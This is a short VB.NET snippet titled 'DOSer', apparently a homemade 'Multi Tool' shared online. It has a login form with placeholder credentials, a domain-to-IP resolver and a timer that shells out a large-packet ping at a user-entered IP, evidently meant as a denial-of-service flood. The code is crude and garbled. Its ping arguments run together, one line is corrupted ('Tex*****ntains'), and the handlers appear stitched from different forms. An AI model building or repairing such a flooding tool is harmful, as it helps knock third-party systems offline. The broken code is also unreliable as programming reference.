DOSer

Private Sub BullionButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BullionButton1.Click
        Timer1.Start()
        Label2.Text = "Logging In"
        If TextBox1.Text = "" And TextBox2.Text = "" Then
            Label2.Text = "No Details"
            MsgBox("Please Enter a Username and Password", MsgBoxStyle.Information, "Multi Tool")
            ProgressBar1.Value = 0
            Timer1.Stop()
        Else
            If TextBox1.Text = "" Then
                MsgBox("Please Enter a Username", MsgBoxStyle.Information, "Multi Tool")
                ProgressBar1.Value = 0
                Timer1.Stop()
                Label2.Text = "No Username"
            Else
                If TextBox2.Text = "" Then
                    MsgBox("Please Enter a Password", MsgBoxStyle.Information, "Multi Tool")
                    ProgressBar1.Value = 0
                    Timer1.Stop()
                    Label2.Text = "No Password"
                Else
                    If TextBox1.Text = "USERNAME" And TextBox2.Text = "PASSWORD" Then
                        ProgressBar1.Value = 100
                        Me.Hide()
                        Form1.Show()
                    Else
                        MsgBox("Incorrect Login Credentials", MsgBoxStyle.Information, "Multi Tool")
                        ProgressBar1.Value = 0
                        Timer1.Stop()
                        Label2.Text = "Try Again"
                    End If
                End If
            End If
        End If
    End Sub

Private Sub BullionButton6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BullionButton6.Click
        Try
            If TextBox2.Tex*****ntains("http://") Then
                Dim iphe As IPHostEntry = Dns.GetHostEntry(TextBox2.Text.Replace("http://", String.Empty))
                TextBox2.Text = iphe.AddressList(0).ToString()
            Else
                Dim iphe As IPHostEntry = Dns.GetHostEntry(TextBox2.Text)
                TextBox2.Text = iphe.AddressList(0).ToString()
            End If
        Catch ex As Exception
            MsgBox(ex)
        End Try
    End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If TextBox1.Text = "" Then
            Timer1.Stop()
            MsgBox("Please Enter an IP", MsgBoxStyle.Information, "DOSer")
        End If
        BullionProgressBar1.Progress = BullionProgressBar1.Progress + 10
        BullionProgressBar1.UpdateProgress()
        Shell("Ping " + (TextBox1.Text + "-1" + "65000"))
        Timer1.Stop()
    End Sub